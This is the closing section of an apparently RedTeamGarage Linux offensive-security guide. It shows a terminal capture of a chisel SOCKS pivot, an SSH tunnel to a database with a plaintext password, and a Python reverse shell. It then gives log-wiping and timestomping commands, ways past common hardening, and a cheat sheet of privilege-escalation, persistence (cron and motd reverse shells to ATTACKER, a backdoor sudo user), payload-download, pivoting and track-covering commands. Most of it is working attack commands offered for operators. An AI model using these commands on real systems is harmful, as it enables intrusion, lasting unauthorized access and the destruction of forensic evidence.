root@ubuntu-srv:~# /tmp/chisel client 192.168.10.99:8888 R:socks &
2024/12/01 Connected to 192.168.10.99:8888
2024/12/01 Tunnel: 0.0.0.0:1000 -> socks

# On attacker box — now scan internal 10.x network via pivot
# proxychains nmap -sT -Pn 10.0.0.0/24 --open -p 22,80,443,3306

root@ubuntu-srv:~# # Direct SSH tunnel to internal database
root@ubuntu-srv:~# # From attacker (not target):
# ssh -L 13306:10.0.0.100:3306 root@192.168.10.50
# mysql -h 127.0.0.1 -P 13306 -u dbadmin -p'Sup3rS3cret2024!'

root@ubuntu-srv:~# # Python reverse shell — lightweight, no tools needed
root@ubuntu-srv:~# python3 -c "import socket,subprocess,os;s=socket.socket();
s.connect(('192.168.10.99',4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
subprocess.call(['/bin/bash','-i'])"

[+] Reverse shell caught — tunneled through compromised pivot!

root@ubuntu-srv:~# _
```

Figure: Chisel reverse SOCKS via HTTP; SSH tunnel to internal DB; Python reverse shell sent back



14 — LOG FILES: WHAT GETS LOGGED AND HOW TO CLEAN UP

What Blue Teams See and How to Minimise Your Footprint

	Contains	Attacker Risk	
auth.log	/var/log/secure	SSH logins, sudo use, su, failed auth	HIGH — shows your access
syslog	/var/log/messages	System events, cron, service starts	MEDIUM — shows cron runs
utmp	/var/run/utmp	Login/logout records (last command)	MEDIUM — who logged in when
lastb	Failed login attempts (lastb)	MEDIUM — shows brute attempts	
apache2/ /nginx/	Web access + error logs	HIGH — shows web shell use	
history	All commands typed in bash	HIGH — full command record	
cron	Cron job execution	LOW-MED — shows cron fires	

\$ Log Cleanup Commands

```
# Clear bash history immediately (do this first)
history -c && history -w
export HISTSIZE=0
unset HISTFILE
ln -sf /dev/null ~/.bash_history

# Wipe auth.log (needs root)
echo '' > /var/log/auth.log
echo '' > /var/log/syslog

# Remove your last login entry
last | head # shows recent logins from wtmp
# Edit /var/log/wtmp with utmpdump (binary file)
utmpdump /var/log/wtmp | grep -v YOUR_IP > /tmp/wtmp_clean
utmpdump -r /tmp/wtmp_clean > /var/log/wtmp

# Overwrite specific IP in logs
sed -i 's/192.168.10.99/1.2.3.4/g' /var/log/auth.log

# Timestamp — change file modification time
touch -t 202401010000.00 /tmp/evil.sh
touch -r /bin/ls /tmp/evil.sh # copy timestamps from ls binary
```



15 — LINUX HARDENING: WHAT YOU'LL BREAK THROUGH

Understand Defences to Plan Your Attack

Defence	Purpose	Attacker Bypass
sudo with password	Require password for privilege use	Keylog or sniff password on use
NOPASSWD restrictions	Limit passwordless sudo to specific cmds	GTFOBins — abuse allowed binary
Auditd	Log all system calls and file access	Disable auditd if root, or work around rules
AppArmor/SELinux	Mandatory access control (MAC)	Find profiles in permissive mode
Fail2ban	Block IPs after failed logins	Rotate IPs, slow down, use valid creds
UFW/iptables	Host-based firewall	Bypass via allowed ports (80/443/22)
Unattended-upgrades	Auto-patch known vulns	Patched CVEs — find 0-day or misconfig
File integrity (aide)	Detect modified system files	Modify aide database if writable
No root SSH login	Block direct root SSH	Escalate from low-priv user post-SSH

RTG NOTE

AppArmor profiles in 'complain' mode log but don't block — same as no protection.

SELinux enforcing is the hardest defence on Linux — very few bypass paths.

Auditd is often installed but never reviewed — generate noise freely.



16 — LINUX ATTACKER CHEAT SHEET

Every Command — Field Reference for Operators

INITIAL ENUMERATION

<code>id && whoami && hostname</code>	Identity check — am I root? sudo group?
<code>uname -a</code>	Kernel version → exploit lookup
<code>cat /etc/os-release</code>	Distro + version
<code>sudo -l</code>	Sudo privileges → GTFOBins
<code>cat /etc/passwd grep bash</code>	Real user accounts
<code>cat /etc/group grep sudo</code>	Who has sudo/docker/lxd access
<code>env grep -iE 'pass key'</code>	Credentials in environment
<code>cat ~/.bash_history</code>	Previous commands with credentials

FILE SYSTEM

<code>find / -perm -4000 2>/dev/null</code>	SUID binaries → root escalation
<code>find / -perm -0002 -type f 2>/dev/null</code>	World-writable files
<code>getcap -r / 2>/dev/null</code>	Binary capabilities
<code>cat /etc/crontab</code>	Cron jobs run by root
<code>find / -name '*.conf' -readable 2>/dev/null</code>	Readable config files
<code>find / -name '.env' -readable 2>/dev/null</code>	Environment files with creds
<code>grep -r 'password' /var/www 2>/dev/null</code>	DB creds in web app files

NETWORK

<code>ip addr show && ip route show</code>	Interfaces + routes → pivot paths
<code>ss -tnp</code>	Active connections + listening ports
<code>cat /etc/hosts</code>	Static hostname → IP entries
<code>for p in 22 80 443 3306 6379; do (echo >/dev/tcp/HOST/\$p)2>/dev/null&&echo; \$p open;done</code>	Bash port scan
<code>for i in {1..254}; do ping -c1 -W1 10.0.0.\$i &&done;wait</code>	Ping sweep

PRIVILEGE ESCALATION

<code>sudo find . -exec /bin/bash \; -quit</code>	sudo find → root
---	------------------



<code>sudo vim -c '!:bin/bash'</code>	sudo vim → root
<code>sudo python3 -c 'import os;os.system("/bin/bash")'</code>	sudo python3 → root
<code>python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'</code>	SUID python3 → root
<code>/bin/bash -p</code>	SUID bash → root (-p preserves eUID)
<code>echo 'chmod u+s /bin/bash' >> /writable_cron_script.sh</code>	Cron abuse → root

PERSISTENCE

<code>echo 'PUBKEY' >> ~/.ssh/authorized_keys</code>	SSH key backdoor
<code>(crontab -l;echo '* * * * * bash -i>&/dev/tcp/ATTACKER/4444 0>&1') crontab -</code>	Cron reverse shell
<code>useradd -m -s /bin/bash -G sudo backdoor</code>	Backdoor sudo user
<code>echo 'bash -i>&/dev/tcp/ATTACKER/4444 0>&1'>/etc/update-motd.d/99-rtg</code>	motd shell on login

FILE TRANSFER

<code>wget http://ATTACKER/tool -O /tmp/tool</code>	Download with wget
<code>curl -o /tmp/tool http://ATTACKER/tool</code>	Download with curl
<code>bash -c 'cat/tmp/tool'</code>	Bash TCP download
<code>nc ATTACKER 4444 > /tmp/tool</code>	Netcat download
<code>echo BASE64 base64 -d > /tmp/tool</code>	Base64 decode transfer

PIVOTING

<code>ssh -D 1080 -N user@PIVOT</code>	SOCKS proxy via SSH
<code>ssh -L LPORT:INTERNAL:RPORT -N user@PIVOT</code>	Local port forward
<code>/tmp/chisel client ATTACKER:PORT R:socks</code>	Chisel reverse SOCKS
<code>proxychains nmap -sT -Pn TARGET</code>	Scan via proxy

COVER TRACKS

<code>history -c && unset HISTFILE</code>	Wipe bash history
<code>echo " > /var/log/auth.log</code>	Clear auth log (root)
<code>sed -i 's/ATTACKER_IP/1.2.3.4/g' /var/log/auth.log</code>	Replace IP in logs
<code>touch -r /bin/ls /tmp/evil.sh</code>	Timestomp — copy timestamps





CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.